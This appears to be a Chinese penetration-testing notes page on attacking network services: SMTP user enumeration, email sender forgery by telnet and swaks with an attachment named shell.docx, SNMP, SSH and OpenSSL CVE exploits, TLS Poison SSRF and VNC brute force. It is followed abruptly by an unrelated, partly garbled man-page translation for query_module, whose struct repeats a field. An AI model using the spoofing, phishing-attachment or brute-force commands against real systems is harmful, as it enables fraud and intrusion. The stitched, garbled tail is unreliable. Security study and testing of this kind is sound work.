211 系统状态或系统帮助响应
214 帮助信息
220 服务就绪
221 服务关闭传输信道
421 服务未就绪,关闭传输信道(当必须关闭时,此应答可以作为对任何命令的响应)
250 要求的邮件操作完成
251 用户非本地,将转发向
450 要求的邮件操作未完成,邮箱不可用(例如,邮箱忙)
550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)
451 放弃要求的操作;处理过程中出错
551 用户非本地,请尝试
452 系统存储不足,要求的操作未执行
552 过量的存储分配,要求的操作未执行
553 邮箱名不可用,要求的操作未执行(例如邮箱格式错误)
354 开始邮件输入,以.结束
554 操作失败
535 用户验证失败
235 用户验证成功
334 等待用户输入验证信息
```
可以通过 Telnet 连接,在未禁用上述 SMTP 命令的服务器上,使用上述命令手动枚举用户名.
```
$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
VRFY root
252 2.0.0 root
VRFY bin
252 2.0.0 bin
VRFY admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
$ telnet xxx.xxx.xxx.xxx 25
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
220 mxt.xxx.xxx.cn ESMTP Postfix
MAIL FROM:root
250 2.1.0 Ok
RCPT TO:root
250 2.1.5 Ok
RCPT TO:bin
250 2.1.5 Ok
RCPT TO:admin
550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
```
可以看到两种方式均返回 root、bin 用户是存在的,admin 用户不存在.
- smtp-user-enum - kali 自带
```bash
smtp-user-enum -M VRFY -u root -t xxx.xxx.xxx.xxx
smtp-user-enum -M RCPT -u bin -t xxx.xxx.xxx.xxx
smtp-user-enum -M EXPN -u bin -t xxx.xxx.xxx.xxx
```
- MSF 模块
```bash
use auxiliary/scanner/smtp/smtp_enum
set rhosts xxx.xxx.xxx.xxx
run
```
- smtp-enum-users - nmap 脚本
```bash
nmap -p 25 --script smtp-enum-users.nse xxx.xxx.xxx.xxx
```
**邮件伪造**
- 相关文章
- [关于伪造邮件的简单研究](https://hex.moe/p/4878b295/)
- SPF邮件伪造
SPF 是 Sender PolicyFramework 的缩写,一种以 IP 地址认证电子邮件发件人身份的技术。接收邮件方会首先检查域名的 SPF 记录,来确定发件人的 IP 地址是否被包含在 SPF 记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。SPF 可以防止别人伪造你来发邮件,是为了防范垃圾邮件而提出来的一种 DNS 记录,它是一种 TXT 类型的记录。
由于 SMTP 邮件服务商互相发送邮件是不需要认证的,邮件伪造也是利用这个特性来实现伪造任意发件人。
- 简单方法
```
telnet xxx.xxx.xxx.xxx 25
HELO xxxx.com # 向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来.
MAIL FROM:admin@xxxx.com # 伪造管理员身份来发邮件
RCPT TO:admin@xxxxx.com # 验证邮件地址是否存在.如果查询的是一个真实的 Email 地址,邮件服务器就会返回250状态码.验证邮箱存在的话,还可以给这个接受者邮箱发送邮件.
DATA # 使用DATA命令来伪造邮箱内容,客户端告诉服务器自己准备发送邮件正文
354 go ahead, end data with CRLF.CRLF # 服务器返回354,表示自己已经作好接受邮件的准备
"这是一个邮件伪造测试" # 用英文状态的双引号来修饰正文,正文结束后,发送结束符.表明正文的结束.
.
QUIT
```
- **swaks**
Swaks 的全称是 Swiss Army Knife SMTP(SMTP 界的瑞士军刀),用于测试 SMTP 协议的各种操作.
kali 自带
```bash
swaks
```
配合 https://support.smtp2go.com/hc/en-gb
```bash
swaks --to 目标@qq.com --from info@smtp2go.com\
--header-X-Mailer SMTP --ehlo root@163.com --body 'test'\
--server mail.smtp2go.com -p 2525 -au 账号 -ap 密码 \
--attach /shell.docx --header "Subject:test" \
--h-From: 'test<root@163.com>'
```
---
## SNMP
**相关文章**
- [SNMP 协议攻击](https://xz.aliyun.com/t/1562)
- [渗透测试中如何收集利用 SNMP 协议数据](https://www.freebuf.com/articles/network/104522.html)
**相关工具**
- [trailofbits/onesixtyone](https://github.com/trailofbits/onesixtyone) - SNMP 扫描器是一个程序,它向多个 IP 地址发送 SNMP 请求,尝试不同的团体字符串并等待回复。
- [dark-lbp/snmp_fuzzer](https://github.com/dark-lbp/snmp_fuzzer) - 检测工控设备 SNMP 问题的工具
- [hatlord/snmpwn](https://github.com/hatlord/snmpwn) - An SNMPv3 User Enumerator and Attack tool
**snmp 弱口令**
- 相关文章
- [烂泥:使用 snmpwalk 采集设备的 OID 信息](https://www.ilanni.com/?p=8408)
- [snmp 弱口令引起的信息泄漏](http://drops.xmd5.com/static/drops/tips-409.html)
- 利用
安装 `yum -y install net-snmp-utils`
Usage
```bash
snmpwalk -v 2c -c public 192.168.xxx.xxx
snmp-check 192.168.xxx.xxx -c public -v 2c
```
---
## SSH
**相关文章**
- [SSH Pentesting Guide](https://community.turgensec.com/ssh-hacking-guide/)
**相关工具**
- [arthepsy/ssh-audit](https://github.com/arthepsy/ssh-audit) - SSH服务器审计(banner、密钥交换、加密、mac、压缩、兼容性、安全性等)
**版本扫描**
```bash
use auxiliary/fuzzers/ssh/ssh_version_2
set RHOSTS [ip]
run
```
**libSSH**
- **CVE-2018-10933 libSSH 认证绕过漏洞**
- 概述
libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。 通过向服务端提供SSH2_MSG_USERAUTH_SUCCESS消息来代替服务端期望启动身份验证的 SSH2_MSG_USERAUTH_REQUEST消息,攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。
- 相关文章
- [libSSH 认证绕过漏洞(CVE-2018-10933)分析](https://paper.seebug.org/720/)
- [libssh CVE-2018-10933 身份验证绕过漏洞分析报告](https://www.anquanke.com/post/id/162225)
- POC | Payload | exp
- [blacknbunny/CVE-2018-10933](https://github.com/blacknbunny/CVE-2018-10933)
- [leapsecurity/libssh-scanner](https://github.com/leapsecurity/libssh-scanner)
**OpenSSH**
OpenSSH(OpenBSD Secure Shell)是 OpenBSD 计划组的一套用于安全访问远程计算机的连接工具。该工具是 SSH 协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。
- **CVE-2015-5600 Openssh MaxAuthTries限制绕过漏洞**
- 概述
OpenSSH 6.9 及之前版本的 sshd 中的 auth2-chall.c 文件中的‘kbdint_next_device’函数存在安全漏洞,该漏洞源于程序没有正确限制处理单链接中的 keyboard-interactive 设备。远程攻击者可借助 ssh -oKbdInteractiveDevices 选项中较长且重复的列表利用该漏洞实施暴力破解攻击,或造成拒绝服务。
- 相关文章
- [Openssh MaxAuthTries限制绕过漏洞(CVE-2015-5600)的研究与验证](http://tinyfisher.github.io/security/2016/06/06/CVE_2015_5600)
- **CVE-2018-15473 OpenSSH 用户枚举漏洞**
- 概述
OpenSSH 7.7 及之前版本中存在信息泄露漏洞。该漏洞源于网络系统或产品在运行过程中存在配置等错误。未授权的攻击者可利用漏洞获取受影响组件敏感信息。
- 影响范围
- OpenSSH 7.7及其以前版本
- 相关文章
- [OpenSSH用户枚举漏洞(CVE-2018-15473)分析](https://www.anquanke.com/post/id/157607)
- [SSH用户枚举漏洞(CVE-2018-15473)原理学习](https://www.cnblogs.com/KevinGeorge/p/9530835.html)
- POC | Payload | exp
- [trimstray/massh-enum](https://github.com/trimstray/massh-enum)
- [Rhynorater/CVE-2018-15473-Exploit](https://github.com/Rhynorater/CVE-2018-15473-Exploit)
- MSF 模块
```bash
use auxiliary/scanner/ssh/ssh_enumusers
set rhosts [ip]
set USER_FILE [aaa.txt]
run
```
- **CVE-2020-15778 OpenSSH命令注入漏洞**
- 概述
该漏洞编号 CVE-2020-15778。OpenSSH 的 8.3p1 及之前版本中的 scp 允许在 scp.c 远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数 linux 系统受影响。
- 相关文章
- [CVE-2020-15778:OpenSSH命令注入漏洞复现](https://mp.weixin.qq.com/s/6HUPL19bSr2Ccco0qd5tQw)
- [CVE-2020-15778:鸡肋的高危](https://www.tr0y.wang/2020/08/07/CVE-2020-15778/)
**SunSSH**
- **CVE-2020-14871 Oracle System Solaris PAM 组件缓冲区溢出漏洞**
- 影响范围
Oracle Solaris 11
Oracle Solaris10
Oracle Solaris 9(已不支持,2014年已终止)
- 扫描
- https://github.com/arthepsy/ssh-audit
```
ssh-audit <ip>
关键字 "Sun_SSH"
```
- MSF 模块
```
solaris/ssh/pam_username_bof
```
### HASSH
- https://github.com/salesforce/hassh
**相关文章**
- [Open Sourcing HASSH](https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c/)
---
## SSL & TLS
**关于 TLS**
- [TLS](../../../Integrated/Network/会话层/TLS.md)
**相关文章**
- [SSL&TLS 安全性测试](https://www.mottoin.com/detail/1214.html)
- [Security/Server Side TLS](https://wiki.mozilla.org/Security/Server_Side_TLS)
- [TLS指纹分析研究(上)](https://mp.weixin.qq.com/s/BSXTGEgePA8tb3Vd-MNpCA)
- [TLS指纹分析研究(下)](https://mp.weixin.qq.com/s/OesoCE2Jv4ttEp-9jV1ZQQ)
**相关工具**
- [MassBleed](https://github.com/1N3/MassBleed) - SSL 漏洞扫描器
- [sslscan](https://github.com/rbsec/sslscan) - 测试启用SSL/TLS的服务,以发现支持的密码套件。
- [testssl](https://github.com/drwetter/testssl.sh) - 在任何端口的任何地方测试 TLS/SSL 加密
- [coroner/cryptolyzer](https://gitlab.com/coroner/cryptolyzer) - 适用于 Python 2.7/3.4 以上的服务器加密(TLS/SSL)设置分析库
**CVE-2014-0160 Heartbleed**
- 简介
OpenSSL 是 OpenSSL 团队开发的一个开源的能够实现安全套接层(SSL v2/v3)和安全传输层(TLS v1)协议的通用加密库,它支持多种加密算法,包括对称密码、哈希算法、安全散列算法等。
OpenSSL 的 TLS 和 DTLS 实现过程中的 d1_both.c 和 t1_lib.c 文件中存在安全漏洞,该漏洞源于当处理 Heartbeat Extension 数据包时,缺少边界检查。远程攻击者可借助特制的数据包利用该漏洞读取服务器内存中的敏感信息(如用户名、密码、Cookie、私钥等)。以下版本的 OpenSSL 受到影响:1.0.1,1.0.1:beta1,1.0.1:beta2,1.0.1:beta3,1.0.1a,1.0.1b,1.0.1c,1.0.1d,1.0.1e,1.0.1f。
- 相关文章
- [心脏滴血 HeartBleed 漏洞研究及其 POC](https://www.cnblogs.com/KevinGeorge/p/8029947.html)
- [OpenSSL 心脏出血漏洞全回顾](https://www.freebuf.com/articles/network/32171.html)
- [Heartbleed 实战:一个影响无数网站的缓冲区溢出漏洞](https://onebitbug.me/reproduced/2014/04/09/heartbleed-poc/)
- [Heartbleed 漏洞的复现与利用](https://blog.csdn.net/biziwaiwai/article/details/79323334)
- [Heartbleed 心脏出血漏洞靶场搭建](https://blog.csdn.net/yaofeino1/article/details/54377537)
- POC | Payload | exp
- [OpenSSL TLS Heartbeat Extension - 'Heartbleed' Memory Disclosure](https://www.exploit-db.com/exploits/32745)
- 单行命令批量检测
```
cat list.txt | while read line ; do echo "QUIT" | openssl s_client -connect $line:443 2>&1 | grep 'server extension "heartbeat" (id=15)' || echo $line: safe; done
```
- MSF 模块
```
use auxiliary/scanner/ssl/openssl_heartbleed
```
**CVE-2014-3566 SSL 3.0 POODLE 攻击信息泄露漏洞**
- 简介
OpenSSL 1.0.1i 及之前版本中使用的 SSL protocol 3.0 版本中存在安全漏洞,该漏洞源于程序使用非确定性的 CBC 填充。攻击者可借助 padding-oracle 攻击利用该漏洞实施中间人攻击,获取明文数据。
- 相关文章
- [CVE-2014-3566 SSLv3 POODLE 原理分析](http://drops.xmd5.com/static/drops/papers-3194.html)
- POC | Payload | exp
- [mpgn/poodle-PoC](https://github.com/mpgn/poodle-PoC)
- MSF 模块
```
use auxiliary/scanner/http/ssl_version
```
**CVE-2021-3449**
- 简介
OpenSSL TLSv1.2 重新协商选项(默认开启)中存在一处空指针解引用,并导致拒绝服务。
- 影响范围
- 所有OpenSSL 1.1.1版本
- POC | Payload | exp
- [terorie/cve-2021-3449](https://github.com/terorie/cve-2021-3449)
**CVE-2022-0778 OpenSSL 拒绝服务漏洞**
- 相关文章
- [OpenSSL CVE-2022-0778漏洞问题复现与非法证书构造](https://catbro666.github.io/posts/83951100/)
- POC | Payload | exp
- [drago-96/CVE-2022-0778](https://github.com/drago-96/CVE-2022-0778) - Proof of concept for CVE-2022-0778, which triggers an infinite loop in parsing X.509 certificates due to a bug in BN_mod_sqrt
**CVE-2022-3602**
- POC | Payload | exp
- [colmmacc/CVE-2022-3602](https://github.com/colmmacc/CVE-2022-3602)
### ja3(s)
- https://github.com/salesforce/ja3
**简介**
ja3 是为特定客户端与服务器之间的加密通信提供了具有更高的识别度的指纹,是 TLS 协商的指纹。
ja3 由 `ClientHello 的版本`、`可接受的加密算法`、`扩展列表中的每一个 type 值`、`支持的椭圆曲线`和`支持的椭圆曲线格式` 生成
ja3s 由 `Server Hello 版本`、`可接受的加密算法`和`扩展列表中的每一个 type 值`生成
**相关文章**
- [JA3(S),简单而有效的 TLS 指纹](https://www.tr0y.wang/2020/06/28/ja3/)
- [TLS Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967/)
- [利用JA3和JA3S实现TLS指纹识别](https://xz.aliyun.com/t/3889)
- [Demystifying JA3: One Handshake at a Time](https://infosecwriteups.com/demystifying-ja3-one-handshake-at-a-time-c80b04ccb393)
- [JA3/S SIGNATURES AND HOW TO AVOID THEM](https://www.bc-security.org/post/ja3-s-signatures-and-how-to-avoid-them/)
- [深度剖析ja3指纹及突破](https://mp.weixin.qq.com/s/-QaoaQj4cKH-wcAc3Ha60g)
- [Impersonating JA3 Fingerprints](https://medium.com/cu-cyber/impersonating-ja3-fingerprints-b9f555880e42)
- [python完美突破tls/ja3](https://mp.weixin.qq.com/s/GU2AgushvIEtLHtYR7BQzg)
- [云沙箱流量识别技术剖析](https://www.anquanke.com/post/id/277431)
- [CURL’S TLS FINGERPRINT](https://daniel.haxx.se/blog/2022/09/02/curls-tls-fingerprint/)
- [用Go构建你专属的JA3指纹](https://juejin.cn/post/7073264626506399751)
- [反向探测互联网扫描器](https://mp.weixin.qq.com/s/Cha_hTGOh-GGVkaZRdFujw)
- [反爬虫SSL TLS指纹识别和绕过JA3算法](https://blog.csdn.net/god_zzZ/article/details/123010576)
- [TLS握手指纹初探](https://bjun.tech/blog/xphp/138)
- [TLS中的GREASE机制](https://zhuanlan.zhihu.com/p/343562875)
- [关于TLS握手指纹 JA3的一些发现](https://bjun.tech/blog/xphp/140)
- [nginx获取ja3指纹](https://www.bbmax.cc/index.php/archives/80/)
- [Java获取SSL/TLS指纹(JA3)](https://www.bbmax.cc/index.php/archives/41/)
**如何计算ja3值**
```bash
git clone https://github.com/salesforce/ja3
cd ja3/python
python3 ja3.py test.pcap
```
**快速查看自己当前的 ja3 指纹**
- https://ja3er.com/json
**相关工具**
- [Macr0phag3/ja3box](https://github.com/Macr0phag3/ja3box) - ja3(s) 提取工具
```bash
pip3 install scapy colorama cryptography
git clone https://github.com/Macr0phag3/ja3box.git
cd ja3box
python3 ja3box.py -i eth0 --json
```
- [fooinha/nginx-ssl-ja3](https://github.com/fooinha/nginx-ssl-ja3) - nginx module for SSL/TLS ja3 fingerprint.
- [lafaspot/ja3_4java](https://github.com/lafaspot/ja3_4java)
**ja3 检测绕过**
- [Danny-Dasilva/CycleTLS](https://github.com/Danny-Dasilva/CycleTLS) - Spoof TLS/JA3 fingerprints in GO and Javascript
- [CUCyber/ja3transport](https://github.com/CUCyber/ja3transport) - Impersonating JA3 signatures
- https://mp.weixin.qq.com/s/cX7-kHuIWebDH6r6UQ2I4w
- [wangluozhe/requests](https://github.com/wangluozhe/requests) - 用于快速请求 HTTP 或 HTTPS,并支持修改 ja3 指纹
- https://mp.weixin.qq.com/s/fichyYFlR9noBIX3AeRmmg
- [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox
**指纹库**
- https://sslbl.abuse.ch/ja3-fingerprints/
- https://github.com/salesforce/ja3/tree/master/lists
- https://ja3er.com/getAllUasJson
### jarm
- https://github.com/salesforce/jarm
**相关文章**
- [Easily Identify Malicious Servers on the Internet with JARM](https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a/)
- [A Red Teamer Plays with JARM](https://www.cobaltstrike.com/blog/a-red-teamer-plays-with-jarm/)
- [利用JARM指纹进行TLS服务端标记](https://www.anquanke.com/post/id/225627)
- [JARM指纹随机化技术实现](https://www.anquanke.com/post/id/276546)
**jarm 规避**
- [netskopeoss/jarm_randomizer](https://github.com/netskopeoss/jarm_randomizer)
### TLS Poison
**相关资源**
- [jmdx/TLS-poison](https://github.com/jmdx/TLS-poison)
**相关文章**
- [When TLS Hacks You](https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf)
- [BlackHat2020 议题分析之「When TLS Hacks You」](https://mp.weixin.qq.com/s/GT3Wlu_2-Ycf_nhWz_z9Vw)
- [基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华](https://www.zhaoj.in/read-6681.html)
- [BlackHat2020 议题 「When TLS Hacks You」 复现](https://xz.aliyun.com/t/9177)
- [一篇文章带你读懂 TLS Poison 攻击](https://blog.zeddyu.info/2021/04/20/tls-poison/)
- [TLS-Poison 攻击方式在 CTF 中的利用实践](https://blog.zeddyu.info/2021/05/19/tls-ctf/)
**描述**
当客户端和服务器端初次建立 TLS 握手时(例如浏览器访问 HTTPS 网站),需要双方建立一个完整的 TLS 连接,该过程为了保证数据的传输具有完整性和机密性,需要做很多事情,如密钥协商出会话密钥,数字签名身份验证,消息验证码 MAC 等。这个过程是非常消耗资源的,而且当下一次客户端访问同一个 HTTPS 网站时,这个过程需要再重复一次,这无疑会造成大量的资源消耗。
为了提高性能,TLS/SSL 提供了会话恢复的方式,允许客户端和服务端在某次关闭连接后,下一次客户端访问时恢复上一次的会话连接。会话恢复有两种,一种是基于 session ID 恢复,一种是使用 Session Ticket 的 TLS 扩展。
**基于 session ID 的会话恢复**
每一个会话都由一个 Session ID 标识符标识,当建立一个 TLS 连接时,服务器会生成一个 session ID 给客户端,服务端保留会话记录,重新连接的客户端可以在 clientHello 消息期间提供此会话 ID,并重新使用此前建立的会话密钥,而不需要再次经历秘钥协商等过程。
TLS session id 在 RFC-5077 中有着详细描述,基本所有数据都可以用作会话标志符,包括换行符。
Session ticket 和 session id 作用类似,在客户端和服务端建立了一次完整的握手后,服务端会将本次的会话数据加密,但是 session ticket 将会话记录保存在客户端,而且与 session id 32 字节的大小不同,session ticket 可提供 65k 的空间,这就能为我们的 payload 提供足够的空间。
**攻击思路**
session id 是服务器提供给客户端的,如果我们构建一个恶意的 tls 服务器,然后将我们的恶意 session id 发送给客户端,然后通过 dns rebinding,将服务器域名的地址指向内网 ip 应用,例如 memcache,客户端在恢复会话时就会带上恶意的 session id 去请求内网的 memcache,从而攻击了内网应用。
大致流程如下:
1. 利用受害者服务器向攻击者准备的 TLS Server 发起一个 HTTPS 请求
2. 当受害者打开这个页面后,受害者客户端会查询相应的 DNS 记录,最终会在攻击者准备的 DNS 服务器查询到攻击者提供的解析记录
3. 攻击者的 DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的 TLS Server 服务器。
4. 客户端发送 Client Hello 消息
5. 服务端返回 Server Hello 消息,并在响应包中设置 session_id 为 payload
6. 进行后续的TLS握手
7. 握手完成后进行 http 通信时,攻击者 TLS Server 返回 301 跳转
8. 受害者客户端接收跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求
此时攻击者让 DNS 服务器返回解析结果为 SSRF 攻击的目标(例如本地的 memcache 数据库),且 TTL 为 0
9. 因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行(TLS 会话重用),发送到目标的那个端口上。
10. payload 被发送至 SSRF 攻击的目标,达到目的,成功 SSRF,但是因为会话重用失败,受害者客户端会得到一个 TLS Error 的错误。至此完成所有攻击步骤。
**通过对 curl 解析 AAAA 和 A 记录的顺序进行利用(未复现成功)**
> 出自文章 [基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华](https://www.zhaoj.in/read-6681.html)
在 CURL 中,对于一个域名,如果同时具有 A 记录和 AAAA 记录,那么 CURL 会去优先请求 AAAA 或者 A 记录所指向的地址,如果这些地址无法连接,则会尝试连接同时得到的 A 记录或者 AAAA 记录。
在某些情况下,会出现:
- AAAA 记录地址不通,会连接到 A 记录地址上。
- A记录地址不通,会连接到 AAAA 记录地址上。
第一个地址不通,则会尝试第二个地址。
那么我们可以这样做:
1. 第一次让 CURL 去访问恶意的 HTTPS 服务器,拿到一个恶意的 SessionID,然后使恶意的 HTTPS 服务器无法接收新的连接
2. 这时恶意的 HTTPS 给出第一次返回的结果,使其进行同域名跳转
3. 目标跳转时会尝试进行新连接,目标发现恶意的HTTPS 服务器无法连接,则会尝试连接这个域名下的其他记录所指向的地址,并带上 SessionID
复现环境
- https://github.com/glzjin/tlslite-ng
- https://gitee.com/wendell_tong/tls_poison_study
**双 A 记录**
> 出自文章 [一篇文章带你读懂 TLS Poison 攻击#The Optimization Method OF DNS Rebinding](https://blog.zeddyu.info/2021/04/20/tls-poison/#the-optimization-method-of-dns-rebinding)
默认配置下,可以通过 0.0.0.0:11211 这个地址与 memcached 通信,对于返回的双 A 记录,一个配置为 TLS VPS IP ,另一个为 0.0.0.0 ,curl 每次都会优先使用 TLS VPS IP ,如果不能通信才会接着使用 0.0.0.0:11211
根据已知信息,我们可以让 curl 第一次建立链接,拿到我们分配的 payload 后,断开连接,让其第二次连接不通而去选择另外一个 IP
复现环境
- https://github.com/ZeddYu/TLS-poison
**TLS 1.2 Session Ticket**
- https://blog.zeddyu.info/2021/04/20/tls-poison/#use-the-optimization-method-to-deal-with-tls-12-session-ticket
- https://blog.zeddyu.info/2021/04/20/tls-poison/#curl-session-ticket
**TLS 1.2 Session ID**
- https://blog.zeddyu.info/2021/04/20/tls-poison/#use-the-optimization-method-to-deal-with-tls-12-session-id
---
### Shadow-TLS
- https://github.com/ihciah/shadow-tls
**相关文章**
- [Shadow-TLS隐蔽加密通道工具技术分析](https://www.viewintech.com/html/articledetails.html?newsId=23)
---
## UPNP
**相关工具**
- [nccgroup/UPnP-Pentest-Toolkit](https://github.com/nccgroup/UPnP-Pentest-Toolkit)
**CVE-2020-12695**
- POC | Payload | exp
- [yunuscadirci/CallStranger](https://github.com/yunuscadirci/CallStranger)
---
## VNC
**相关文章**
- [VNC攻击](https://b404.xyz/2017/10/16/attack-vnc/)
**未授权访问漏洞**
- 概述
VNC 是虚拟网络控制台 Virtual Network Console 的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司 AT&T 的欧洲研究实验室开发。VNC 是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制 target 主机。
- [vncviewer](https://www.realvnc.com/en/connect/download/viewer/)
```bash
# kali 自带
vncviewer [ip]
```
- MSF 模块
```bash
use auxiliary/scanner/vnc/vnc_none_auth
set rhosts [ip]
set threads 50
run
```
**暴力破解**
- MSF 模块
```bash
use auxiliary/scanner/vnc/vnc_login
set RHOSTS [ip]
set RPORT [port]
set pass_file /root/Desktop/pass.txt
run
```
**密码破解**
- 相关文章
- [破解vnc密码](https://blog.51cto.com/darren/587007)
- 相关工具
- [k8vncpwd](https://github.com/k8gege/K8tools/blob/master/k8vncpwd.exe)
- [K8fuckVNC](https://github.com/k8gege/K8tools/blob/master/K8fuckVNC.rar)
---
## Other
### Ripple20
**描述**
安全研究人员在由 Treck 开发的 TCP/IP 协议栈中发现了多个漏洞,这一系列漏洞统称为 Ripple20。这些漏洞广泛存在于嵌入式和物联网设备中,影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等),涉及了众多供应商(包括 HP、Schneider Electric、Intel、Rockwell Automation、Caterpillar、Baxter 等)。
这些漏洞源于 Ripple20 的多个协议(包括 IPv4、ICMPv4、IPv6、IPv6OverIPv4、TCP、UDP、ARP、DHCP、DNS 或以太网链路层)在处理网络报文发送时存在缺陷,其中包括四个严重漏洞,它们的 CVE 编号分别为 CVE-2020-11896、CVE-2020-11898、CVE-2020-11910、CVE-2020-11911。CVE-2020-11896(CVSS 评分 10)可导致远程执行代码,CVE-2020-11897(CVSS 评分 10)可导致越界写入,CVE-2020-11901(CVSS 评分 9)可导致远程执行代码,CVE-2020-11898(CVSS 评分 9.1)可导致泄露敏感信息。其它 15 个 Ripple20 漏洞的严重程度各异,CVSS 评分分别从 3.1 到 8.2。
**相关文章**
- [Ripple20:Treck TCP/IP协议栈漏洞分析与验证(附视频)](https://paper.seebug.org/1262/)
- [关于 CVE-2020-11896和CVE-2020-11898 的学习笔记](https://bestwing.me/Ripple20-overview.html)
- [Treck TCP/IP协议库“Ripple20”漏洞分析及解决方案](https://mp.weixin.qq.com/s/njG6V6y4OdpGJWZ8UCTMGg)
**相关资源**
- [corelight/ripple20](https://github.com/corelight/ripple20) - 用于检测 Ripple20 漏洞的 Zeek 脚本
**POC | Payload | exp**
- [jiansiting/ripple20-poc](https://github.com/jiansiting/ripple20-poc)
### AMNESIA33
**描述**
安全研究人员在多个被广泛使用的开源 TCP/IP 协议栈发现了多个漏洞,这一系列漏洞统称为 AMNESIA33。这些漏洞广泛存在于嵌入式和物联网设备中,影响了多个行业领域(包括医疗、运输、能源、电信、工业控制、零售和商业等),目前已知范围内涉及了超 150 家供应商以及数以百万计的设备。与 URGEN11 和 Ripple20 不同的是,AMNESIA33 影响的是多个开源 TCP/IP 协议栈,因此这些漏洞可以悄无声息地影响到无数个代码库、开发团队与各个公司的产品。目前已知的漏洞涉及到了智能家居、工厂 PLC、SCADA 设备与工控交换机,电力监控等设备。
这些漏洞存在于 uIP、FNET、picoTCP 和 Nut/Net 等开源协议栈上,影响 TCP/IP 协议栈的多个组件,包括 DNS、IPv6、IPv4、TCP、ICMP、LLMNR 和 mDNS 等。其中包括多个严重漏洞,它们的 CVE 编号分别为 CVE-2020-17437、CVE-2020-17443、CVE-2020-24338、CVE-2020-24336、CVE-2020-25111。
CVE-2020-17437(CVSS 评分 8.2)、CVE-2020-17443(CVSS 评分 8.2)可导致设备拒绝服务。CVE-2020-24338、CVE-2020-24336、CVE-2020-25111(这三个 CVSS 评分均为 9.8)都可导致远程代码执行 (RCE)。其它 28 个漏洞的严重程度各异,CVSS 评分分别从 4 到 8.2。
由于 IoT、OT、IT 设备供应链的特性,漏洞影响的设备众多,影响范围广且持续时间长,漏洞修复的实施较困难。同时,由于 uIP、picoTCP 开源协议栈已经不再维护,所以部分漏洞没有补丁,很多产品只能寻找替代技术方案或者是增加防范措施。
**相关文章**
- [AMNESIA33:开源TCP/IP协议栈系列漏洞分析与验证](https://mp.weixin.qq.com/s/UWeFBK3E1Zs4cTcMl4UU3A)
### NAT Slipstreaming
> https://github.com/samyk/slipstream/ - NAT Slipstreaming allows an attacker to remotely access any TCP/UDP services bound to a victim machine, bypassing the victim’s NAT/firewall, just by the victim visiting a website
**相关文章**
- [NAT Splitstreamming v1 浅析](https://forum.butian.net/share/88)
|
sec-knowleage
|
.TH query_module 2
.SH NAME
query_module \- 向内核查询和模块有关的各个位. /* 查询有关的位?? */
.SH 总览
.B #include <linux/module.h>
.sp
int query_module(const char *name, int which,void *buf, size_t bufsize, size
_t *ret);
.SH 描述
query_module请求和可加载模块有关的来自内核的信息.信息的细致的特性和格式依赖于
which参数,一些函数要求name参数来命名当前被加载的模块.一些允许参数name为null,
指明内核是正确的.:
which的值
0 Always returns success. Used to probe for the system call.
0 总是返回成功,用来探测系统调用. /* 参见 insmod -p 和前面文章 */
QM_MODULES Returns the names of all loaded modules. The output buffer
format is adjacent null-terminated strings; ret is set to the number of mod
ules.
返回所有已加载的模块的名字.输出缓冲区的格式是邻近的以null终止的字符串;ret
被
设置为模块的数目.
QM_DEPS Returns the names of all modules used by the indicated
module.
The output buffer format is adjacent null-terminated strings; ret is set t
o the number of modules. 返回所有被name参数指定的模块使用的模块的名字.输出
缓
冲区格式是邻近的以null终止的字符串;ret被设置为模块的数目.
QM_REFS Returns the names of all modules using the indicated module.
This is the inverse of QM_DEPS. The output buffer format is adjacent null-te
rminated strings; ret is set to the number of modules.
返回所有正使用被name参数指定的模块的模块名字.这和QM_DEPS是相反的.输出缓冲
区
格式是以邻近的null终止的字符串;ret被设置为模块的数目.
QM_SYMBOLS Returns the symbols and values exported by the kernel or t
he indicated module. The buffer format is an array of:
struct module_symbol
{
unsigned long value;
unsigned long name;
};
followed by null-terminated strings. The value of name is the
character offset of the string relative to the start of buf; ret is set to t
he number of symbols.
返回被内核或指定模块导出(开放)的符号和值对.缓冲区格式是一个以null终止的
结构数组,name的值是相对缓冲区的开始的字符串的字符偏移;ret被设置为符号的数目.
struct module_symbol
{
unsigned long value;
unsigned long value;
}
QM_INFO Returns miscelaneous information about the indicated module.
The output buffer format is:
struct module_info
{
unsigned long address;
unsigned long size;
unsigned long flags;
};
where address is the kernel address at which the module reside
s, size is the size of the module in bytes, and flags is a mask of MOD_RUNNI
NG, MOD_AUTOCLEAN, et al that indicates the current status of the module. re
t is set to the size of the module_info struct.
返回各种和指定模块相关的各种信息,输出缓冲区的格式如下:
struct module_info
{
unsigned long address;
unsigned long size;
